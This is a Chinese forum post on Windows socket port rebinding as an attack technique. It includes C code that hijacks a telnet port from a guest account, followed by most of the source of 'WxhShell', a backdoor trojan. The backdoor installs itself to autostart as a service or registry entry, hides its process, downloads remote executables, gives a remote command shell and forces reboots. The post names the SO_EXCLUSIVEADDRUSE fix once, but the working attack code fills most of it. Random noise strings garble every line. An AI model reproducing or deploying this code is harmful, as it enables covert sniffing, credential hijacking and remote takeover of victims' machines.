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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }_cX" s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C?PgC~y)  
+p &$`(  
  saddr.sin_family = AF_INET; {I QCA-AI  
Ga $EM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MJ`BlE,Fmb  
zY\MzhkX,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); | PzXN+DW  
6s&%~6J,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {i:Ayhq~&  
EN~ha:9  
  这意味着什么?意味着可以进行如下的攻击: SWMi+)  
_<;westq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8f-B-e?k  
RQd5Q.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N`!=z++G  
98t|G5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 PH]ui=  
?1/wl;=fm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PD@@4@^  
JJE0q5[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *qL"&h5W  
HiDL:14  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |PW.CV0,  
d i#:KW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NFlrr*=t>  
%z AN@  
  #include .5?Md  
  #include >tVD[wVF0  
  #include -nC!kpo  
  #include    -$5nqaK?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3']=w@~ O[  
  int main() Lw #vHNf6  
  { aG/L'weR  
  WORD wVersionRequested; aT%6d@g  
  DWORD ret; bY7~b/  
  WSADATA wsaData; ^1w*$5YI  
  BOOL val; @P}!mdH1  
  SOCKADDR_IN saddr; s4Y7x.-  
  SOCKADDR_IN scaddr; BJ7m3[lz  
  int err; &&{_T4  
  SOCKET s; [[9XqD]  
  SOCKET sc; mRC6m K>  
  int caddsize; \j3XT}  
  HANDLE mt; 7Ys\=W1  
  DWORD tid;   eXZH#K7S#  
  wVersionRequested = MAKEWORD( 2, 2 ); A;#GU`  
  err = WSAStartup( wVersionRequested, &wsaData ); $sR-J'EE!  
  if ( err != 0 ) { CGN:=D<  
  printf("error!WSAStartup failed!\n"); b0"R |d[i  
  return -1; 6?(vXPpT$  
  } \Dn an5H/  
  saddr.sin_family = AF_INET; Mny mV;y"  
   Y'%k G5nF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G/5]0]SO  
=f{YwtG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {`CmE/`{  
  saddr.sin_port = htons(23); S) [$F}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 60&4?<lR4  
  { ImVHX~ qHJ  
  printf("error!socket failed!\n"); )rFcfS+/  
  return -1; ;NeN2|I]  
  } 74q |FQ  
  val = TRUE; 7ZRLSq'S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {QRrAi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p-;I"uKv  
  { 13 e @  
  printf("error!setsockopt failed!\n"); a)GT\1q  
  return -1; .~Z@y#  
  } M]$_>&"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $*[-kIy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bp?4)C*R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7*&$-Hv  
#GT4/Ej}W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jv9yy~  
  { W6[# q%o  
  ret=GetLastError(); z?i{2Fz6  
  printf("error!bind failed!\n"); X6g{qzHg_  
  return -1; 8o4?mhqV  
  } S;FgS:;  
  listen(s,2); 8h| 9;%  
  while(1) O'} %Bjl  
  { C7lBK<gQ  
  caddsize = sizeof(scaddr); %1oG<s  
  //接受连接请求 $9Yk]~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 17{$D ,P  
  if(sc!=INVALID_SOCKET) 4(FEfde=  
  { jvfQG:F }  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4S+sz?W2j  
  if(mt==NULL) ,>Lj>g{~  
  { RRH[$jk  
  printf("Thread Creat Failed!\n"); 9!06R-h  
  break; ai,Nx:r   
  } 5*W<6ia  
  } F ak"u'~  
  CloseHandle(mt); =`MU*Arcs[  
  } v{dvB:KP5X  
  closesocket(s); pl.K*9+  
  WSACleanup(); rWo&I _{  
  return 0; ?pJUbZ#J  
  }   ;jgJI~3l  
  DWORD WINAPI ClientThread(LPVOID lpParam) =(Ll}V,  
  { -h/KrB  
  SOCKET ss = (SOCKET)lpParam; >^fkHbgNQ  
  SOCKET sc; a9CK4Kg  
  unsigned char buf[4096]; 2'6:fr=R  
  SOCKADDR_IN saddr; ) HN,Az"  
  long num; ] oh.w  
  DWORD val; s,|s;w*.  
  DWORD ret; ~Uz1()ftz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :UgCP ~Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2l9RU}  
  saddr.sin_family = AF_INET; Z7t-{s64  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *?GV(/Q  
  saddr.sin_port = htons(23); 8={ " j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7CKh?>  
  { m"CsJ'\ors  
  printf("error!socket failed!\n"); 4pfv?!Oj  
  return -1; 3\Ma)\>R\-  
  } [Q=NGHB1/  
  val = 100; IfdgMELk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MSw:Ay [9  
  { i$:\,  
  ret = GetLastError(); f4TNy^-  
  return -1; g^dPAjPQ  
  } sZ!/uN!6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jK{)gO  
  { \:/ :S"-  
  ret = GetLastError(); 3Y}X7-|)Z  
  return -1; f(o1J|U{  
  } J|z>5Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) },G>+ s8h  
  { qd7 86~  
  printf("error!socket connect failed!\n"); $Jt+>.44  
  closesocket(sc); '&.QW$B\B_  
  closesocket(ss); rprtp5Cg  
  return -1; UvtSNP&/2d  
  } 9Xv>FVG!  
  while(1) Jn>6y:s  
  { Jt3]'Nr04@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c88I"5@[bD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cF7efs8u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;P{HePs=)  
  num = recv(ss,buf,4096,0); _26~<gU8  
  if(num>0) itmdY!;<  
  send(sc,buf,num,0); /5y*ZIq]e  
  else if(num==0) ]^63n/Twj  
  break; 2sOV3~bB  
  num = recv(sc,buf,4096,0); V>`xTQG  
  if(num>0) vl'2O7  
  send(ss,buf,num,0); %0z&k!P  
  else if(num==0) SbLx`]rI  
  break; #$GDKK  
  } :$`"M#vMX  
  closesocket(ss); `]{/(pIgW;  
  closesocket(sc); !\0UEC  
  return 0 ; )aOPR|+  
  } $1h,<$5H  
Y!8Ik(/~i  
T@ [*V[  
========================================================== cG"+n@ \  
`zjEs8`'  
下边附上一个代码,,WXhSHELL G@O~*k1v  
]y:ez8RFPU  
========================================================== q~^qf  
j(`L)/|O  
#include "stdafx.h" h7( R/Rf  
)@ /!B`  
#include <stdio.h> i5>]$j1/  
#include <string.h> yX:*TK4  
#include <windows.h> O+Zt*jN;  
#include <winsock2.h> .5',w"R  
#include <winsvc.h> GJLlMi  
#include <urlmon.h> u49v,,WGw  
eN/o}<(e  
#pragma comment (lib, "Ws2_32.lib") Wq+6`o  
#pragma comment (lib, "urlmon.lib") ctv=8SFv(  
*)V1Sd#m  
#define MAX_USER   100 // 最大客户端连接数 d8|bO#a%9  
#define BUF_SOCK   200 // sock buffer Hvn{aLa.  
#define KEY_BUFF   255 // 输入 buffer nH#|]gVI  
K&t+3O  
#define REBOOT     0   // 重启 w+P?JR!)+  
#define SHUTDOWN   1   // 关机 u'o."J^&'  
Wb_'X |"u  
#define DEF_PORT   5000 // 监听端口 Wgt[ACioN  
36<PI'l#~  
#define REG_LEN     16   // 注册表键长度 C>d_a;pX  
#define SVC_LEN     80   // NT服务名长度 ~v 2E<S3  
+w ;2kw  
// 从dll定义API A{5^A)$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M>pcG.6V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `Ns$HV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0i[,`>-Av  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /e^q>>z  
>Jl(9)e  
// wxhshell配置信息 Ix;9D'^}  
struct WSCFG { W?5u O  
  int ws_port;         // 监听端口 ay\e# )  
  char ws_passstr[REG_LEN]; // 口令 ?I6us X9$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8\+Q*7~@i  
  char ws_regname[REG_LEN]; // 注册表键名 .e $W(}  
  char ws_svcname[REG_LEN]; // 服务名 ,DN>aEu1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;TAf[[P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?N 6'*2{NT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v'"0Ya  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =tJ}itcJ'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pq 4/>WzE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |fx*F}1  
'n7 )()"2  
}; cr{;gP  
+ht -Bl  
// default Wxhshell configuration 9'tElpDJ6#  
struct WSCFG wscfg={DEF_PORT, o1j_5c PS  
    "xuhuanlingzhe", zCvt"!}RRa  
    1, s3+^q  
    "Wxhshell", n M +(  
    "Wxhshell", wic& $p/%  
            "WxhShell Service", k^ CFu  
    "Wrsky Windows CmdShell Service", eIz T(3(  
    "Please Input Your Password: ", |U*wMYC  
  1, r sf +dC  
  "http://www.wrsky.com/wxhshell.exe", ^f:oKKaAW;  
  "Wxhshell.exe" @z8,XW }  
    }; (x{6N^J.t  
RR u1/nam  
// 消息定义模块 1LbJR'}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /bE=]nM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }H!l@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T}ZUw;}BL  
char *msg_ws_ext="\n\rExit."; b~khb!]  
char *msg_ws_end="\n\rQuit."; 1}A1P&2>  
char *msg_ws_boot="\n\rReboot..."; rkF]Q_'`t;  
char *msg_ws_poff="\n\rShutdown..."; |IbCN  
char *msg_ws_down="\n\rSave to "; _5F8F4QY`  
0B0Uay'd_  
char *msg_ws_err="\n\rErr!"; lx8@;9fLy  
char *msg_ws_ok="\n\rOK!"; UenB4  
O7p>"Bh  
char ExeFile[MAX_PATH]; p`@7hf|hm  
int nUser = 0; [b-wak})aD  
HANDLE handles[MAX_USER]; j'#Y$d1.  
int OsIsNt; LTGKs^i4  
K5O8G  
SERVICE_STATUS       serviceStatus; /Ulv/Thl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4ZY0!'be-R  
,qF;#nB-  
// 函数声明 :Ogt{t  
int Install(void); xXpeo_y'  
int Uninstall(void); {&_1/  
int DownloadFile(char *sURL, SOCKET wsh); ,/O,j SRk  
int Boot(int flag); Byx8`Cx1  
void HideProc(void); G j6(ycaS  
int GetOsVer(void); lkNaSz[  
int Wxhshell(SOCKET wsl); Xx~za{p  
void TalkWithClient(void *cs); FOB9J.w4  
int CmdShell(SOCKET sock); D$W&6'  
int StartFromService(void); (Sr D  
int StartWxhshell(LPSTR lpCmdLine); D -Goi-4  
x7qVLpcL3z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }@ Nurs)%_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'l+).},  
W\V'o Vt  
// 数据结构和表定义 M_wqb'=  
SERVICE_TABLE_ENTRY DispatchTable[] = {H FF|Dx  
{ v7?sXW  
{wscfg.ws_svcname, NTServiceMain}, }P8@\2@=T  
{NULL, NULL} xh$1Rwa  
}; F dR!jt  
!;";L5()  
// 自我安装 ;9>(yJI+  
int Install(void) M_-LI4>  
{ vs3px1Xe#  
  char svExeFile[MAX_PATH]; DH(Q md  
  HKEY key; V=)0{7-9  
  strcpy(svExeFile,ExeFile); )24c(  
t2)S61Vr  
// 如果是win9x系统,修改注册表设为自启动 %A@Q%l6  
if(!OsIsNt) { XH_XGzBQS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5$kv,%ah  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AS;EO[Vn  
  RegCloseKey(key); 1&S34wJF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 95Q{d'&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Zn2Vx  
  RegCloseKey(key); 9[<,49  
  return 0; qJY'"_Q{  
    } Ba=P  
  } `m N*"1p-  
} }pP<+U  
else { 9G7lPK  
@<$-*,  
// 如果是NT以上系统,安装为系统服务 ig Mm.1>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JI{|8)S  
if (schSCManager!=0) ~*WSH&ip  
{ 0/".2(\}T  
  SC_HANDLE schService = CreateService bVE t?E*+  
  ( Tk[`kmb  
  schSCManager, y6.Q\=  
  wscfg.ws_svcname, ?W  l=F/  
  wscfg.ws_svcdisp, de.!~%D  
  SERVICE_ALL_ACCESS, %kM|Hk3d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k)VoDxMKK  
  SERVICE_AUTO_START, k5]M~"  
  SERVICE_ERROR_NORMAL, ich\`j[i  
  svExeFile, cR 0+`&  
  NULL, K OZHz`1!  
  NULL, =yn|.%b  
  NULL, < I}O_:%  
  NULL, <k2Qcicy  
  NULL dl:uI5]  
  ); ^j"*-)R  
  if (schService!=0) i qCZIahf  
  { <t9#~x#'b  
  CloseServiceHandle(schService); %_*q'6K  
  CloseServiceHandle(schSCManager); B^W0Ik`m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3GkVMYI  
  strcat(svExeFile,wscfg.ws_svcname); |Gc2w]\3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RS'%;B-)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &|t*9 D  
  RegCloseKey(key); Ol8ma`}Nq3  
  return 0; j5lSu~  
    } m791w8Vr  
  } 9UD~$_<\  
  CloseServiceHandle(schSCManager); SKx&t-  
} _7?LINF9  
} /UG H7srx  
~(2G7x)  
return 1; &"vh=Z-  
} "Dbjp5_  
0E9LZOw4T  
// 自我卸载 Mz}yf5{f  
int Uninstall(void) XWQp-H.  
{ joa|5v'  
  HKEY key; W~ 6ii\  
({/@=e x*  
if(!OsIsNt) { ISy\g`d`C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (h NSzG\  
  RegDeleteValue(key,wscfg.ws_regname); _<?lP$Xr  
  RegCloseKey(key); <^}{sdOyu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mT8")J|2  
  RegDeleteValue(key,wscfg.ws_regname); :Gyv%> .  
  RegCloseKey(key); $7q'Be@{  
  return 0; Z!Y ^iN  
  } QO;W}c:N  
} V\nQHzjF<6  
} -3 }  
else { cwK 6$Ax  
@pueM+(L&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]|cL+|':y  
if (schSCManager!=0) !(=bH"P  
{ K8 Y/sHl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j(Tt-a("z  
  if (schService!=0) pVTx# rY  
  { ]d]tQPEU  
  if(DeleteService(schService)!=0) { P$MAURFm  
  CloseServiceHandle(schService); Yrb[:;Y  
  CloseServiceHandle(schSCManager); a =LjFpv/]  
  return 0; !"\UT&  
  } LD]>_P83  
  CloseServiceHandle(schService); 4u;db_gX  
  } sWp]Zy  
  CloseServiceHandle(schSCManager); HbWl:yU  
} qp>V\h\  
} ]$)J/L(p/]  
Hd(|fc{2  
return 1; Fwn4c4-%  
} wpw~[xd  
SOo/~ giz|  
// 从指定url下载文件 C!N&uNp@s  
int DownloadFile(char *sURL, SOCKET wsh) f]F]wg\_f  
{ m S[Vl6  
  HRESULT hr; _aOisN{  
char seps[]= "/"; Z{/0 P  
char *token; ax7]>Z=%d"  
char *file; N~H9|CX  
char myURL[MAX_PATH]; r0=Aru5n  
char myFILE[MAX_PATH]; T9enyYt%  
"T4Z#t  
strcpy(myURL,sURL); 1=C>S2q  
  token=strtok(myURL,seps); 3| 5Af  
  while(token!=NULL) ?YR/'Vq97  
  { L5C4#X  
    file=token; \& 6  
  token=strtok(NULL,seps); MrIo.  
  } |1`|E- S=  
o ~"?K2@T  
GetCurrentDirectory(MAX_PATH,myFILE); 8E`rs)A  
strcat(myFILE, "\\"); .%>UA|[~:  
strcat(myFILE, file); kb>:M.  
  send(wsh,myFILE,strlen(myFILE),0); Q5'DV!0aSv  
send(wsh,"...",3,0); 6AgevyVG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BwO^F^Pr?k  
  if(hr==S_OK) *RKYdwnb  
return 0; A-:58Qau+  
else ZgCG'SU  
return 1; $Oa} U3  
[4,=%ez  
} 7B GMG|  
< \]o#w*:  
// 系统电源模块 qG.HJD  
int Boot(int flag) <TmMUA)`}  
{ 3QSP](W-(  
  HANDLE hToken; yRaB\'  
  TOKEN_PRIVILEGES tkp; H:x=v4NgsU  
b!VaEK  
  if(OsIsNt) { 9j458Yd4*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tiJY$YqA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >jU.R;H5  
    tkp.PrivilegeCount = 1; .L'>1H]B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ks=j v:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %<%ef+*  
if(flag==REBOOT) { xcfEL_'o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l0Wp%T  
  return 0; h%MjVuLn  
} " SkTVqm  
else { ;RNU`I p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ] dB6--  
  return 0; Jvt| q5  
} HJT}v/FZ  
  } 7r#U^d(  
  else { -AcLh0pc  
if(flag==REBOOT) { ^`NU:"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Rc>=)<7  
  return 0; E[bJ5o**#  
} k4te[6)  
else { .]`LR@qf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7a.$tT  
  return 0; &6nOCU)  
} YX38*Ml+V  
} dXgj  
ML?%s`   
return 1; e W&;r&26  
} gZ6]\l]J{  
uev$5jlX  
// win9x进程隐藏模块 o9-b!I2  
void HideProc(void) )`?Es8uW  
{ +$M%"=tk  
qQC<oR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E,,)?^g  
  if ( hKernel != NULL ) tW;?4}JR  
  { \"BoTi'2!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vrl)[st!;I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;pu68N(B  
    FreeLibrary(hKernel); rnWU[U8%  
  } =E@wi?  
t_1a.Jv  
return; k@nx+fO}P  
} r jfcZ@  
 ?CKINN  
// 获取操作系统版本 *'=JT#  
int GetOsVer(void) a=bP   
{ ~`M>&E@Y_/  
  OSVERSIONINFO winfo; (h>Jz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 37'@,*m`  
  GetVersionEx(&winfo); 6#P\DT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N8.K[m  
  return 1; dOPA0Ja  
  else WoGK05w  
  return 0; p#HbN#^Hy  
} '3S S%W  
u*u>F@C8  
// 客户端句柄模块 o, e y.  
int Wxhshell(SOCKET wsl) (u`[I4z`  
{ %/!n]g-  
  SOCKET wsh; vq yR aaMf  
  struct sockaddr_in client; S'~Zlv 3`  
  DWORD myID; ~_v?M%5i  
|&vQ1o|}  
  while(nUser<MAX_USER) | _/D-m*  
{ 1(6B|w5+  
  int nSize=sizeof(client); 9 ! [oJ3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &>kklP  
  if(wsh==INVALID_SOCKET) return 1; #;GIvfW  
/rp.H'hC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gxk=]5<7  
if(handles[nUser]==0) .U|e#t  
  closesocket(wsh); V {R<R2h1  
else yyZ}qnbx]  
  nUser++; Bs2.$~   
  } oK1"8k|Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yGl (QLk  
b5u_x_us|  
  return 0; \q#s/&b   
} H'68K8i0  
?d`?Ss;v  
// 关闭 socket ZzfGs  
void CloseIt(SOCKET wsh) Ql8E9~h  
{ Qp8. D4^@3  
closesocket(wsh); sXm8KV  
nUser--; @a,X{ 0  
ExitThread(0); 8`E9a  
} nnLE dJ}n  
Am3^3>  
// 客户端请求句柄 Iw(2D(se  
void TalkWithClient(void *cs) #W`>vd}  
{ !Irmc*;QE  
LQ4GQ qS*  
  SOCKET wsh=(SOCKET)cs; jSbO1go#  
  char pwd[SVC_LEN]; pVe@HJy6G  
  char cmd[KEY_BUFF]; V&4)B &W  
char chr[1]; yP2[!vYw  
int i,j; %m[ :},  
J0xOB;rd  
  while (nUser < MAX_USER) { _urv We  
N\b%+vR  
if(wscfg.ws_passstr) { [AE-~+m)^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ypE cjVP D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AkdONKO8{  
  //ZeroMemory(pwd,KEY_BUFF); hU=n>g>nx  
      i=0; /C"dwh"``  
  while(i<SVC_LEN) { ?CGbnXZ4Ug  
9u<4Q_I`  
  // 设置超时 =)5eui>{  
  fd_set FdRead; XE);oL2xP  
  struct timeval TimeOut; #UGtYD}"  
  FD_ZERO(&FdRead); >QRpRHtb  
  FD_SET(wsh,&FdRead); 5_";EED  
  TimeOut.tv_sec=8;  TA;  
  TimeOut.tv_usec=0; J \U}U'qP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \[&`PD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <(x[Qp/5P  
1c);![O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~5$V8yfx h  
  pwd=chr[0]; g2%&/zq/  
  if(chr[0]==0xd || chr[0]==0xa) { .Q FGIAM  
  pwd=0; >*rsRR  
  break; `9M:B&  
  } +jD?h-]  
  i++; + 5E6|  
    } H&\Ig D  
:NJb<%$  
  // 如果是非法用户,关闭 socket *IWO ,!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b,kXV<KtU  
} Rb=T'x'  
V D+TJ` r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [O*5\&6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \(Z'@5vC  
g/ONr,l`-  
while(1) { xsS/)R?  
*njdqr2c~  
  ZeroMemory(cmd,KEY_BUFF); ,lSt}Lml  
W 0^.Dx  
      // 自动支持客户端 telnet标准   J$6tCFD  
  j=0; td-2[Sy  
  while(j<KEY_BUFF) { $h1`-=\7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FyYD7E  
  cmd[j]=chr[0]; :9H=D^J  
  if(chr[0]==0xa || chr[0]==0xd) { @? 4-  
  cmd[j]=0; K~"uZa^s  
  break; Q#NXJvI  
  } B0I(/ 7  
  j++; 6wH]W+A  
    } O o9 ePw7  
/CX_@%m}e=  
  // 下载文件 HRO :U%  
  if(strstr(cmd,"http://")) { Aa t _5p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =*0<.Lo':  
  if(DownloadFile(cmd,wsh)) KK" uSC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nxH=Ut7{  
  else ^t4T8ejn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -U;2 b_  
  } uP bvN[~t  
  else { xVHZZ?e  
VS0 &[bl  
    switch(cmd[0]) { l6ayV  
  NT?Gl(  
  // 帮助 7 J$  
  case '?': {  M\zM-B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V&82U w  
    break; q9rY++Tv  
  } [pi!+k  
  // 安装 $%!'c# F  
  case 'i': { 'Ba Ba=  
    if(Install()) $/</J]2`;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dc UaZfON  
    else h-u63b1"?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  m~"<k d  
    break; cLl=?^DB  
    } K#q1/2  
  // 卸载 _jt>%v4}4  
  case 'r': { 5X>b(`  
    if(Uninstall()) Gs]m; "o|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.|b285e  
    else M.|O+K z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 71`)@y,Z,  
    break; "<6X=|C  
    } {xb8H  
  // 显示 wxhshell 所在路径 dLl/V3C6t  
  case 'p': { -Z )j"J  
    char svExeFile[MAX_PATH]; e]-bB#-A  
    strcpy(svExeFile,"\n\r"); 5P~{*of  
      strcat(svExeFile,ExeFile); =Tv;?U C  
        send(wsh,svExeFile,strlen(svExeFile),0); ~/LO @  
    break; :tclYX  
    } 5.!iVyN  
  // 重启 u|prVzm\m  
  case 'b': { iX4?5yz~<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4DaLt&1  
    if(Boot(REBOOT)) n$B SO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?B> { rj  
    else { )U0`?kD  
    closesocket(wsh); TtA6N8G  
    ExitThread(0); \FOoIY!.x  
    } K(P24Z\#  
    break; fWo}gH~  
    } 297X).  
  // 关机 SSH))zJ  
  case 'd': { H4DM,.04  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q?df5{6  
